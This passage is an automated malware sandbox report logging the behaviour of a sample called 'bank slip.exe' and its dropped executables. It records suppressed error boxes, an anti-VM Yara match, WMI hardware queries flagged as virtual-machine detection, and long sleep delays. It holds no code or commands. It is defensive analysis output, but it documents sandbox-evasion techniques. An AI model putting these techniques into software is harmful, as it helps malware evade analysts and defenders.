Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: bank slip.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mKSjGvfmIulVB.exe PID: 7552, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 2380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 25C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 24D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 6EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 7EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 8080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Memory allocated: 9080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 1430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 7850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 8850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 89E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Memory allocated: 99E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 1490000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 3240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 3060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 2340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Memory allocated: 4340000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\bank slip.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4998	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4645	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 351	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2761	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3217
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 727

Source: C:\Users\user\Desktop\bank slip.exe TID: 6196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3656	Thread sleep count: 4998 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 172 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7384	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe TID: 7592	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe TID: 7916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe TID: 8140	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\bank slip.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99401	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99052	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98878	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97007	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96839	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96714	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94950	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99634
